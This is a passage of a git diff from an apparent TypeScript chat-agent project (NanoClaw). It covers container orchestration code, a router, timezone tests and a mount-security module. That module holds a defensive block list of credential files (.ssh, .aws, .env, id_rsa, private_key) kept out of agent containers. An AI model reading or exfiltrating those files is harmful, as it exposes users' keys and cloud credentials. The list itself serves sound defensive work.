${ASSISTANT_NAME}`); + content = content.replace(/You are Andy/g, `You are ${ASSISTANT_NAME}`); + } + fs.writeFileSync(groupMdFile, content); + logger.info({ folder: group.folder }, 'Created CLAUDE.md from template'); + } + } + + // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) + ensureOneCLIAgent(jid, group); + + logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); +} + +/** + * Get available groups list for the agent. + * Returns groups ordered by most recent activity. + */ +export function getAvailableGroups(): import('./container-runner.js').AvailableGroup[] { + const chats = getAllChats(); + const registeredJids = new Set(Object.keys(registeredGroups)); + + return chats + .filter((c) => c.jid !== '__group_sync__' && c.is_group) + .map((c) => ({ + jid: c.jid, + name: c.name, + lastActivity: c.last_message_time, + isRegistered: registeredJids.has(c.jid), + })); +} + +/** @internal - exported for testing */ +export function _setRegisteredGroups(groups: Record): void { + registeredGroups = groups; +} + +/** + * Process all pending messages for a group. + * Called by the GroupQueue when it's this group's turn. + */ +async function processGroupMessages(chatJid: string): Promise { + const group = registeredGroups[chatJid]; + if (!group) return true; + + const channel = findChannel(channels, chatJid); + if (!channel) { + logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); + return true; + } + + const isMainGroup = group.isMain === true; + + const missedMessages = getMessagesSince( + chatJid, + getOrRecoverCursor(chatJid), + ASSISTANT_NAME, + MAX_MESSAGES_PER_PROMPT, + ); + + if (missedMessages.length === 0) return true; + + // For non-main groups, check if trigger is required and present + if (!isMainGroup && group.requiresTrigger !== false) { + const triggerPattern = getTriggerPattern(group.trigger); + const allowlistCfg = loadSenderAllowlist(); + const hasTrigger = missedMessages.some( + (m) => + triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + ); + if (!hasTrigger) return true; + } + + const prompt = formatMessages(missedMessages, TIMEZONE); + + // Advance cursor so the piping path in startMessageLoop won't re-fetch + // these messages. Save the old cursor so we can roll back on error. + const previousCursor = lastAgentTimestamp[chatJid] || ''; + lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; + saveState(); + + logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); + + // Track idle timer for closing stdin when agent is idle + let idleTimer: ReturnType | null = null; + + const resetIdleTimer = () => { + if (idleTimer) clearTimeout(idleTimer); + idleTimer = setTimeout(() => { + logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); + queue.closeStdin(chatJid); + }, IDLE_TIMEOUT); + }; + + await channel.setTyping?.(chatJid, true); + let hadError = false; + let outputSentToUser = false; + + const output = await runAgent(group, prompt, chatJid, async (result) => { + // Streaming output callback — called for each agent result + if (result.result) { + const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); + // Strip ... blocks — agent uses these for internal reasoning + const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); + logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); + if (text) { + await channel.sendMessage(chatJid, text); + outputSentToUser = true; + } + // Only reset idle timer on actual results, not session-update markers (result: null) + resetIdleTimer(); + } + + if (result.status === 'success') { + queue.notifyIdle(chatJid); + } + + if (result.status === 'error') { + hadError = true; + } + }); + + await channel.setTyping?.(chatJid, false); + if (idleTimer) clearTimeout(idleTimer); + + if (output === 'error' || hadError) { + // If we already sent output to the user, don't roll back the cursor — + // the user got their response and re-processing would send duplicates. + if (outputSentToUser) { + logger.warn( + { group: group.name }, + 'Agent error after output was sent, skipping cursor rollback to prevent duplicates', + ); + return true; + } + // Roll back cursor so retries can re-process these messages + lastAgentTimestamp[chatJid] = previousCursor; + saveState(); + logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); + return false; + } + + return true; +} + +async function runAgent( + group: RegisteredGroup, + prompt: string, + chatJid: string, + onOutput?: (output: ContainerOutput) => Promise, +): Promise<'success' | 'error'> { + const isMain = group.isMain === true; + const sessionId = sessions[group.folder]; + + // Update tasks snapshot for container to read (filtered by group) + const tasks = getAllTasks(); + writeTasksSnapshot( + group.folder, + isMain, + tasks.map((t) => ({ + id: t.id, + groupFolder: t.group_folder, + prompt: t.prompt, + script: t.script || undefined, + schedule_type: t.schedule_type, + schedule_value: t.schedule_value, + status: t.status, + next_run: t.next_run, + })), + ); + + // Update available groups snapshot (main group only can see all groups) + const availableGroups = getAvailableGroups(); + writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); + + // Wrap onOutput to track session ID from streamed results + const wrappedOnOutput = onOutput + ? async (output: ContainerOutput) => { + if (output.newSessionId) { + sessions[group.folder] = output.newSessionId; + setSession(group.folder, output.newSessionId); + } + await onOutput(output); + } + : undefined; + + try { + const output = await runContainerAgent( + group, + { + prompt, + sessionId, + groupFolder: group.folder, + chatJid, + isMain, + assistantName: ASSISTANT_NAME, + }, + (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), + wrappedOnOutput, + ); + + if (output.newSessionId) { + sessions[group.folder] = output.newSessionId; + setSession(group.folder, output.newSessionId); + } + + if (output.status === 'error') { + // Detect stale/corrupt session — clear it so the next retry starts fresh. + // The session .jsonl can go missing after a crash mid-write, manual + // deletion, or disk-full. The existing backoff in group-queue.ts + // handles the retry; we just need to remove the broken session ID. + const isStaleSession = + sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); + + if (isStaleSession) { + logger.warn( + { group: group.name, staleSessionId: sessionId, error: output.error }, + 'Stale session detected — clearing for next retry', + ); + delete sessions[group.folder]; + deleteSession(group.folder); + } + + logger.error({ group: group.name, error: output.error }, 'Container agent error'); + return 'error'; + } + + return 'success'; + } catch (err) { + logger.error({ group: group.name, err }, 'Agent error'); + return 'error'; + } +} + +async function startMessageLoop(): Promise { + if (messageLoopRunning) { + logger.debug('Message loop already running, skipping duplicate start'); + return; + } + messageLoopRunning = true; + + logger.info(`NanoClaw running (default trigger: ${DEFAULT_TRIGGER})`); + + while (true) { + try { + const jids = Object.keys(registeredGroups); + const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); + + if (messages.length > 0) { + logger.info({ count: messages.length }, 'New messages'); + + // Advance the "seen" cursor for all messages immediately + lastTimestamp = newTimestamp; + saveState(); + + // Deduplicate by group + const messagesByGroup = new Map(); + for (const msg of messages) { + const existing = messagesByGroup.get(msg.chat_jid); + if (existing) { + existing.push(msg); + } else { + messagesByGroup.set(msg.chat_jid, [msg]); + } + } + + for (const [chatJid, groupMessages] of messagesByGroup) { + const group = registeredGroups[chatJid]; + if (!group) continue; + + const channel = findChannel(channels, chatJid); + if (!channel) { + logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); + continue; + } + + const isMainGroup = group.isMain === true; + const needsTrigger = !isMainGroup && group.requiresTrigger !== false; + + // For non-main groups, only act on trigger messages. + // Non-trigger messages accumulate in DB and get pulled as + // context when a trigger eventually arrives. + if (needsTrigger) { + const triggerPattern = getTriggerPattern(group.trigger); + const allowlistCfg = loadSenderAllowlist(); + const hasTrigger = groupMessages.some( + (m) => + triggerPattern.test(m.content.trim()) && + (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + ); + if (!hasTrigger) continue; + } + + // Pull all messages since lastAgentTimestamp so non-trigger + // context that accumulated between triggers is included. + const allPending = getMessagesSince( + chatJid, + getOrRecoverCursor(chatJid), + ASSISTANT_NAME, + MAX_MESSAGES_PER_PROMPT, + ); + const messagesToSend = allPending.length > 0 ? allPending : groupMessages; + const formatted = formatMessages(messagesToSend, TIMEZONE); + + if (queue.sendMessage(chatJid, formatted)) { + logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); + lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; + saveState(); + // Show typing indicator while the container processes the piped message + channel + .setTyping?.(chatJid, true) + ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); + } else { + // No active container — enqueue for a new one + queue.enqueueMessageCheck(chatJid); + } + } + } + } catch (err) { + logger.error({ err }, 'Error in message loop'); + } + await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL)); + } +} + +/** + * Startup recovery: check for unprocessed messages in registered groups. + * Handles crash between advancing lastTimestamp and processing messages. + */ +function recoverPendingMessages(): void { + for (const [chatJid, group] of Object.entries(registeredGroups)) { + const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); + if (pending.length > 0) { + logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); + queue.enqueueMessageCheck(chatJid); + } + } +} + +function ensureContainerSystemRunning(): void { + ensureContainerRuntimeRunning(); + cleanupOrphans(); +} + +async function main(): Promise { + ensureContainerSystemRunning(); + initDatabase(); + logger.info('Database initialized'); + loadState(); + + // Ensure OneCLI agents exist for all registered groups. + // Recovers from missed creates (e.g. OneCLI was down at registration time). + for (const [jid, group] of Object.entries(registeredGroups)) { + ensureOneCLIAgent(jid, group); + } + + restoreRemoteControl(); + + // Graceful shutdown handlers + const shutdown = async (signal: string) => { + logger.info({ signal }, 'Shutdown signal received'); + await queue.shutdown(10000); + for (const ch of channels) await ch.disconnect(); + process.exit(0); + }; + process.on('SIGTERM', () => shutdown('SIGTERM')); + process.on('SIGINT', () => shutdown('SIGINT')); + + // Handle /remote-control and /remote-control-end commands + async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { + const group = registeredGroups[chatJid]; + if (!group?.isMain) { + logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); + return; + } + + const channel = findChannel(channels, chatJid); + if (!channel) return; + + if (command === '/remote-control') { + const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); + if (result.ok) { + await channel.sendMessage(chatJid, result.url); + } else { + await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); + } + } else { + const result = stopRemoteControl(); + if (result.ok) { + await channel.sendMessage(chatJid, 'Remote Control session ended.'); + } else { + await channel.sendMessage(chatJid, result.error); + } + } + } + + // Channel callbacks (shared by all channels) + const channelOpts = { + onMessage: (chatJid: string, msg: NewMessage) => { + // Remote control commands — intercept before storage + const trimmed = msg.content.trim(); + if (trimmed === '/remote-control' || trimmed === '/remote-control-end') { + handleRemoteControl(trimmed, chatJid, msg).catch((err) => + logger.error({ err, chatJid }, 'Remote control command error'), + ); + return; + } + + // Sender allowlist drop mode: discard messages from denied senders before storing + if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { + const cfg = loadSenderAllowlist(); + if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { + if (cfg.logDenied) { + logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); + } + return; + } + } + storeMessage(msg); + }, + onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => + storeChatMetadata(chatJid, timestamp, name, channel, isGroup), + registeredGroups: () => registeredGroups, + }; + + // Create and connect all registered channels. + // Each channel self-registers via the barrel import above. + // Factories return null when credentials are missing, so unconfigured channels are skipped. + for (const channelName of getRegisteredChannelNames()) { + const factory = getChannelFactory(channelName)!; + const channel = factory(channelOpts); + if (!channel) { + logger.warn( + { channel: channelName }, + 'Channel installed but credentials missing — skipping. Check .env or re-run the channel skill.', + ); + continue; + } + channels.push(channel); + await channel.connect(); + } + if (channels.length === 0) { + logger.fatal('No channels connected'); + process.exit(1); + } + + // Start subsystems (independently of connection handler) + startSchedulerLoop({ + registeredGroups: () => registeredGroups, + getSessions: () => sessions, + queue, + onProcess: (groupJid, proc, containerName, groupFolder) => + queue.registerProcess(groupJid, proc, containerName, groupFolder), + sendMessage: async (jid, rawText) => { + const channel = findChannel(channels, jid); + if (!channel) { + logger.warn({ jid }, 'No channel owns JID, cannot send message'); + return; + } + const text = formatOutbound(rawText); + if (text) await channel.sendMessage(jid, text); + }, + }); + startIpcWatcher({ + sendMessage: (jid, text) => { + const channel = findChannel(channels, jid); + if (!channel) throw new Error(`No channel for JID: ${jid}`); + return channel.sendMessage(jid, text); + }, + registeredGroups: () => registeredGroups, + registerGroup, + syncGroups: async (force: boolean) => { + await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); + }, + getAvailableGroups, + writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), + onTasksChanged: () => { + const tasks = getAllTasks(); + const taskRows = tasks.map((t) => ({ + id: t.id, + groupFolder: t.group_folder, + prompt: t.prompt, + script: t.script || undefined, + schedule_type: t.schedule_type, + schedule_value: t.schedule_value, + status: t.status, + next_run: t.next_run, + })); + for (const group of Object.values(registeredGroups)) { + writeTasksSnapshot(group.folder, group.isMain === true, taskRows); + } + }, + }); + startSessionCleanup(); + queue.setProcessMessagesFn(processGroupMessages); + recoverPendingMessages(); + startMessageLoop().catch((err) => { + logger.fatal({ err }, 'Message loop crashed unexpectedly'); + process.exit(1); + }); +} + +// Guard: only run when executed directly, not when imported by tests +const isDirectRun = + process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; + +if (isDirectRun) { + main().catch((err) => { + logger.error({ err }, 'Failed to start NanoClaw'); + process.exit(1); + }); +} diff --git a/src/ipc-auth.test.ts b/src/v1/ipc-auth.test.ts similarity index 100% rename from src/ipc-auth.test.ts rename to src/v1/ipc-auth.test.ts diff --git a/src/ipc.ts b/src/v1/ipc.ts similarity index 100% rename from src/ipc.ts rename to src/v1/ipc.ts diff --git a/src/logger.ts b/src/v1/logger.ts similarity index 100% rename from src/logger.ts rename to src/v1/logger.ts diff --git a/src/v1/mount-security.ts b/src/v1/mount-security.ts new file mode 100644 index 0000000..c44620c --- /dev/null +++ b/src/v1/mount-security.ts @@ -0,0 +1,405 @@ +/** + * Mount Security Module for NanoClaw + * + * Validates additional mounts against an allowlist stored OUTSIDE the project root. + * This prevents container agents from modifying security configuration. + * + * Allowlist location: ~/.config/nanoclaw/mount-allowlist.json + */ +import fs from 'fs'; +import os from 'os'; +import path from 'path'; +import { MOUNT_ALLOWLIST_PATH } from './config.js'; +import { logger } from './logger.js'; +import { AdditionalMount, AllowedRoot, MountAllowlist } from './types.js'; + +// Cache the allowlist in memory - only reloads on process restart +let cachedAllowlist: MountAllowlist | null = null; +let allowlistLoadError: string | null = null; + +/** + * Default blocked patterns - paths that should never be mounted + */ +const DEFAULT_BLOCKED_PATTERNS = [ + '.ssh', + '.gnupg', + '.gpg', + '.aws', + '.azure', + '.gcloud', + '.kube', + '.docker', + 'credentials', + '.env', + '.netrc', + '.npmrc', + '.pypirc', + 'id_rsa', + 'id_ed25519', + 'private_key', + '.secret', +]; + +/** + * Load the mount allowlist from the external config location. + * Returns null if the file doesn't exist or is invalid. + * Result is cached in memory for the lifetime of the process. + */ +export function loadMountAllowlist(): MountAllowlist | null { + if (cachedAllowlist !== null) { + return cachedAllowlist; + } + + if (allowlistLoadError !== null) { + // Already tried and failed, don't spam logs + return null; + } + + try { + if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { + // Do NOT cache this as an error — file may be created later without restart. + // Only parse/structural errors are permanently cached. + logger.warn( + { path: MOUNT_ALLOWLIST_PATH }, + 'Mount allowlist not found - additional mounts will be BLOCKED. ' + + 'Create the file to enable additional mounts.', + ); + return null; + } + + const content = fs.readFileSync(MOUNT_ALLOWLIST_PATH, 'utf-8'); + const allowlist = JSON.parse(content) as MountAllowlist; + + // Validate structure + if (!Array.isArray(allowlist.allowedRoots)) { + throw new Error('allowedRoots must be an array'); + } + + if (!Array.isArray(allowlist.blockedPatterns)) { + throw new Error('blockedPatterns must be an array'); + } + + if (typeof allowlist.nonMainReadOnly !== 'boolean') { + throw new Error('nonMainReadOnly must be a boolean'); + } + + // Merge with default blocked patterns + const mergedBlockedPatterns = [...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns])]; + allowlist.blockedPatterns = mergedBlockedPatterns; + + cachedAllowlist = allowlist; + logger.info( + { + path: MOUNT_ALLOWLIST_PATH, + allowedRoots: allowlist.allowedRoots.length, + blockedPatterns: allowlist.blockedPatterns.length, + }, + 'Mount allowlist loaded successfully', + ); + + return cachedAllowlist; + } catch (err) { + allowlistLoadError = err instanceof Error ? err.message : String(err); + logger.error( + { + path: MOUNT_ALLOWLIST_PATH, + error: allowlistLoadError, + }, + 'Failed to load mount allowlist - additional mounts will be BLOCKED', + ); + return null; + } +} + +/** + * Expand ~ to home directory and resolve to absolute path + */ +function expandPath(p: string): string { + const homeDir = process.env.HOME || os.homedir(); + if (p.startsWith('~/')) { + return path.join(homeDir, p.slice(2)); + } + if (p === '~') { + return homeDir; + } + return path.resolve(p); +} + +/** + * Get the real path, resolving symlinks. + * Returns null if the path doesn't exist. + */ +function getRealPath(p: string): string | null { + try { + return fs.realpathSync(p); + } catch { + return null; + } +} + +/** + * Check if a path matches any blocked pattern + */ +function matchesBlockedPattern(realPath: string, blockedPatterns: string[]): string | null { + const pathParts = realPath.split(path.sep); + + for (const pattern of blockedPatterns) { + // Check if any path component matches the pattern + for (const part of pathParts) { + if (part === pattern || part.includes(pattern)) { + return pattern; + } + } + + // Also check if the full path contains the pattern + if (realPath.includes(pattern)) { + return pattern; + } + } + + return null; +} + +/** + * Check if a real path is under an allowed root + */ +function findAllowedRoot(realPath: string, allowedRoots: AllowedRoot[]): AllowedRoot | null { + for (const root of allowedRoots) { + const expandedRoot = expandPath(root.path); + const realRoot = getRealPath(expandedRoot); + + if (realRoot === null) { + // Allowed root doesn't exist, skip it + continue; + } + + // Check if realPath is under realRoot + const relative = path.relative(realRoot, realPath); + if (!relative.startsWith('..') && !path.isAbsolute(relative)) { + return root; + } + } + + return null; +} + +/** + * Validate the container path to prevent escaping /workspace/extra/ + */ +function isValidContainerPath(containerPath: string): boolean { + // Must not contain .. to prevent path traversal + if (containerPath.includes('..')) { + return false; + } + + // Must not be absolute (it will be prefixed with /workspace/extra/) + if (containerPath.startsWith('/')) { + return false; + } + + // Must not be empty + if (!containerPath || containerPath.trim() === '') { + return false; + } + + // Must not contain colons — prevents Docker -v option injection (e.g., "repo:rw") + if (containerPath.includes(':')) { + return false; + } + + return true; +} + +export interface MountValidationResult { + allowed: boolean; + reason: string; + realHostPath?: string; + resolvedContainerPath?: string; + effectiveReadonly?: boolean; +} + +/** + * Validate a single additional mount against the allowlist. + * Returns validation result with reason. + */ +export function validateMount(mount: AdditionalMount, isMain: boolean): MountValidationResult { + const allowlist = loadMountAllowlist(); + + // If no allowlist, block all additional mounts + if (allowlist === null) { + return { + allowed: false, + reason: `No mount allowlist configured at ${MOUNT_ALLOWLIST_PATH}`, + }; + } + + // Derive containerPath from hostPath basename if not specified + const containerPath = mount.containerPath || path.basename(mount.hostPath); + + // Validate container path (cheap check) + if (!isValidContainerPath(containerPath)) { + return { + allowed: false, + reason: `Invalid container path: "${containerPath}" - must be relative, non-empty, and not contain ".."`, + }; + } + + // Expand and resolve the host path + const expandedPath = expandPath(mount.hostPath); + const realPath = getRealPath(expandedPath); + + if (realPath === null) { + return { + allowed: false, + reason: `Host path does not exist: "${mount.hostPath}" (expanded: "${expandedPath}")`, + }; + } + + // Check against blocked patterns + const blockedMatch = matchesBlockedPattern(realPath, allowlist.blockedPatterns); + if (blockedMatch !== null) { + return { + allowed: false, + reason: `Path matches blocked pattern "${blockedMatch}": "${realPath}"`, + }; + } + + // Check if under an allowed root + const allowedRoot = findAllowedRoot(realPath, allowlist.allowedRoots); + if (allowedRoot === null) { + return { + allowed: false, + reason: `Path "${realPath}" is not under any allowed root. Allowed roots: ${allowlist.allowedRoots + .map((r) => expandPath(r.path)) + .join(', ')}`, + }; + } + + // Determine effective readonly status + const requestedReadWrite = mount.readonly === false; + let effectiveReadonly = true; // Default to readonly + + if (requestedReadWrite) { + if (!isMain && allowlist.nonMainReadOnly) { + // Non-main groups forced to read-only + effectiveReadonly = true; + logger.info( + { + mount: mount.hostPath, + }, + 'Mount forced to read-only for non-main group', + ); + } else if (!allowedRoot.allowReadWrite) { + // Root doesn't allow read-write + effectiveReadonly = true; + logger.info( + { + mount: mount.hostPath, + root: allowedRoot.path, + }, + 'Mount forced to read-only - root does not allow read-write', + ); + } else { + // Read-write allowed + effectiveReadonly = false; + } + } + + return { + allowed: true, + reason: `Allowed under root "${allowedRoot.path}"${allowedRoot.description ? ` (${allowedRoot.description})` : ''}`, + realHostPath: realPath, + resolvedContainerPath: containerPath, + effectiveReadonly, + }; +} + +/** + * Validate all additional mounts for a group. + * Returns array of validated mounts (only those that passed validation). + * Logs warnings for rejected mounts. + */ +export function validateAdditionalMounts( + mounts: AdditionalMount[], + groupName: string, + isMain: boolean, +): Array<{ + hostPath: string; + containerPath: string; + readonly: boolean; +}> { + const validatedMounts: Array<{ + hostPath: string; + containerPath: string; + readonly: boolean; + }> = []; + + for (const mount of mounts) { + const result = validateMount(mount, isMain); + + if (result.allowed) { + validatedMounts.push({ + hostPath: result.realHostPath!, + containerPath: `/workspace/extra/${result.resolvedContainerPath}`, + readonly: result.effectiveReadonly!, + }); + + logger.debug( + { + group: groupName, + hostPath: result.realHostPath, + containerPath: result.resolvedContainerPath, + readonly: result.effectiveReadonly, + reason: result.reason, + }, + 'Mount validated successfully', + ); + } else { + logger.warn( + { + group: groupName, + requestedPath: mount.hostPath, + containerPath: mount.containerPath, + reason: result.reason, + }, + 'Additional mount REJECTED', + ); + } + } + + return validatedMounts; +} + +/** + * Generate a template allowlist file for users to customize + */ +export function generateAllowlistTemplate(): string { + const template: MountAllowlist = { + allowedRoots: [ + { + path: '~/projects', + allowReadWrite: true, + description: 'Development projects', + }, + { + path: '~/repos', + allowReadWrite: true, + description: 'Git repositories', + }, + { + path: '~/Documents/work', + allowReadWrite: false, + description: 'Work documents (read-only)', + }, + ], + blockedPatterns: [ + // Additional patterns beyond defaults + 'password', + 'secret', + 'token', + ], + nonMainReadOnly: true, + }; + + return JSON.stringify(template, null, 2); +} diff --git a/src/remote-control.test.ts b/src/v1/remote-control.test.ts similarity index 100% rename from src/remote-control.test.ts rename to src/v1/remote-control.test.ts diff --git a/src/remote-control.ts b/src/v1/remote-control.ts similarity index 100% rename from src/remote-control.ts rename to src/v1/remote-control.ts diff --git a/src/v1/router.ts b/src/v1/router.ts new file mode 100644 index 0000000..4c7dd38 --- /dev/null +++ b/src/v1/router.ts @@ -0,0 +1,43 @@ +import { Channel, NewMessage } from './types.js'; +import { formatLocalTime } from './timezone.js'; + +export function escapeXml(s: string): string { + if (!s) return ''; + return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +} + +export function formatMessages(messages: NewMessage[], timezone: string): string { + const lines = messages.map((m) => { + const displayTime = formatLocalTime(m.timestamp, timezone); + const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; + const replySnippet = + m.reply_to_message_content && m.reply_to_sender_name + ? `\n ${escapeXml(m.reply_to_message_content)}` + : ''; + return `${replySnippet}${escapeXml(m.content)}`; + }); + + const header = `\n`; + + return `${header}\n${lines.join('\n')}\n`; +} + +export function stripInternalTags(text: string): string { + return text.replace(/[\s\S]*?<\/internal>/g, '').trim(); +} + +export function formatOutbound(rawText: string): string { + const text = stripInternalTags(rawText); + if (!text) return ''; + return text; +} + +export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { + const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); + if (!channel) throw new Error(`No channel for JID: ${jid}`); + return channel.sendMessage(jid, text); +} + +export function findChannel(channels: Channel[], jid: string): Channel | undefined { + return channels.find((c) => c.ownsJid(jid)); +} diff --git a/src/routing.test.ts b/src/v1/routing.test.ts similarity index 100% rename from src/routing.test.ts rename to src/v1/routing.test.ts diff --git a/src/sender-allowlist.test.ts b/src/v1/sender-allowlist.test.ts similarity index 100% rename from src/sender-allowlist.test.ts rename to src/v1/sender-allowlist.test.ts diff --git a/src/sender-allowlist.ts b/src/v1/sender-allowlist.ts similarity index 100% rename from src/sender-allowlist.ts rename to src/v1/sender-allowlist.ts diff --git a/src/session-cleanup.ts b/src/v1/session-cleanup.ts similarity index 100% rename from src/session-cleanup.ts rename to src/v1/session-cleanup.ts diff --git a/src/task-scheduler.test.ts b/src/v1/task-scheduler.test.ts similarity index 100% rename from src/task-scheduler.test.ts rename to src/v1/task-scheduler.test.ts diff --git a/src/task-scheduler.ts b/src/v1/task-scheduler.ts similarity index 100% rename from src/task-scheduler.ts rename to src/v1/task-scheduler.ts diff --git a/src/v1/timezone.test.ts b/src/v1/timezone.test.ts new file mode 100644 index 0000000..d9e9454 --- /dev/null +++ b/src/v1/timezone.test.ts @@ -0,0 +1,64 @@ +import { describe, it, expect } from 'vitest'; + +import { formatLocalTime, isValidTimezone, resolveTimezone } from './timezone.js'; + +// --- formatLocalTime --- + +describe('formatLocalTime', () => { + it('converts UTC to local time display', () => { + // 2026-02-04T18:30:00Z in America/New_York (EST, UTC-5) = 1:30 PM + const result = formatLocalTime('2026-02-04T18:30:00.000Z', 'America/New_York'); + expect(result).toContain('1:30'); + expect(result).toContain('PM'); + expect(result).toContain('Feb'); + expect(result).toContain('2026'); + }); + + it('handles different timezones', () => { + // Same UTC time should produce different local times + const utc = '2026-06-15T12:00:00.000Z'; + const ny = formatLocalTime(utc, 'America/New_York'); + const tokyo = formatLocalTime(utc, 'Asia/Tokyo'); + // NY is UTC-4 in summer (EDT), Tokyo is UTC+9 + expect(ny).toContain('8:00'); + expect(tokyo).toContain('9:00'); + }); + + it('does not throw on invalid timezone, falls back to UTC', () => { + expect(() => formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2')).not.toThrow(); + const result = formatLocalTime('2026-01-01T12:00:00.000Z', 'IST-2'); + // Should format as UTC (noon UTC = 12:00 PM) + expect(result).toContain('12:00'); + expect(result).toContain('PM'); + }); +}); + +describe('isValidTimezone', () => { + it('accepts valid IANA identifiers', () => { + expect(isValidTimezone('America/New_York')).toBe(true); + expect(isValidTimezone('UTC')).toBe(true); + expect(isValidTimezone('Asia/Tokyo')).toBe(true); + expect(isValidTimezone('Asia/Jerusalem')).toBe(true); + }); + + it('rejects invalid timezone strings', () => { + expect(isValidTimezone('IST-2')).toBe(false); + expect(isValidTimezone('XYZ+3')).toBe(false); + }); + + it('rejects empty and garbage strings', () => { + expect(isValidTimezone('')).toBe(false); + expect(isValidTimezone('NotATimezone')).toBe(false); + }); +}); + +describe('resolveTimezone', () => { + it('returns the timezone if valid', () => { + expect(resolveTimezone('America/New_York')).toBe('America/New_York'); + }); + + it('falls back to UTC for invalid timezone', () => { + expect(resolveTimezone('IST-2')).toBe('UTC'); + expect(resolveTimezone('')).toBe('UTC'); + }); +}); diff --git a/src/v1/timezone.ts b/src/v1/timezone.ts new file mode 100644 index 0000000..d8cc6cc --- /dev/null +++ b/src/v1/timezone.ts @@ -0,0 +1,37 @@ +/** + * Check whether a timezone string is a valid IANA identifier + * that Intl.DateTimeFormat can use. + */ +export function isValidTimezone(tz: string): boolean { + try { + Intl.DateTimeFormat(undefined, { timeZone: tz }); + return true; + } catch { + return false; + } +} + +/** + * Return the given timezone if valid IANA, otherwise fall back to UTC. + */ +export function resolveTimezone(tz: string): string { + return isValidTimezone(tz) ? tz : 'UTC'; +} + +/** + * Convert a UTC ISO timestamp to a localized display string. + * Uses the Intl API (no external dependencies). + * Falls back to UTC if the timezone is invalid. + */ +export function formatLocalTime(utcIso: string, timezone: string): string { + const date = new Date(utcIso); + return date.toLocaleString('en-US', { + timeZone: resolveTimezone(timezone), + year: 'numeric', + month: 'short', + day: 'numeric', + hour: 'numeric', + minute: '2-digit', + hour12: true, + }); +} diff --git a/src/v1/types.ts b/src/v1/types.ts new file mode 100644 index 0000000..717aff6 --- /dev/null +++ b/src/v1/types.ts @@ -0,0 +1,112 @@ +export interface AdditionalMount { + hostPath: string; // Absolute path on host (supports ~ for home) + containerPath?: string; // Optional — defaults to basename of hostPath. Mounted at /workspace/extra/{value} + readonly?: boolean; // Default: true for safety +} + +/** + * Mount Allowlist - Security configuration for additional mounts + * This file should be stored at ~/.config/nanoclaw/mount-allowlist.json + * and is NOT mounted into any container, making it tamper-proof from agents. + */ +export interface MountAllowlist { + // Directories that can be mounted into containers + allowedRoots: AllowedRoot[]; + // Glob patterns for paths that should never be mounted (e.g., ".ssh", ".gnupg") + blockedPatterns: string[]; + // If true, non-main groups can only mount read-only regardless of config + nonMainReadOnly: boolean; +} + +export interface AllowedRoot { + // Absolute path or ~ for home (e.g., "~/projects", "/var/repos") + path: string; + // Whether read-write mounts are allowed under this root + allowReadWrite: boolean; + // Optional description for documentation + description?: string; +} + +export interface ContainerConfig { + additionalMounts?: AdditionalMount[]; + timeout?: number; // Default: 300000 (5 minutes) +} + +export interface RegisteredGroup { + name: string; + folder: string; + trigger: string; + added_at: string; + containerConfig?: ContainerConfig; + requiresTrigger?: boolean; // Default: true for groups, false for solo chats + isMain?: boolean; // True for the main control group (no trigger, elevated privileges) +} + +export interface NewMessage { + id: string; + chat_jid: string; + sender: string; + sender_name: string; + content: string; + timestamp: string; + is_from_me?: boolean; + is_bot_message?: boolean; + thread_id?: string; + reply_to_message_id?: string; + reply_to_message_content?: string; + reply_to_sender_name?: string; +} + +export interface ScheduledTask { + id: string; + group_folder: string; + chat_jid: string; + prompt: string; + script?: string | null; + schedule_type: 'cron' | 'interval' | 'once'; + schedule_value: string; + context_mode: 'group' | 'isolated'; + next_run: string | null; + last_run: string | null; + last_result: string | null; + status: 'active' | 'paused' | 'completed'; + created_at: string; +} + +export interface TaskRunLog { + task_id: string; + run_at: string; + duration_ms: number; + status: 'success' | 'error'; + result: string | null; + error: string | null; +} + +// --- 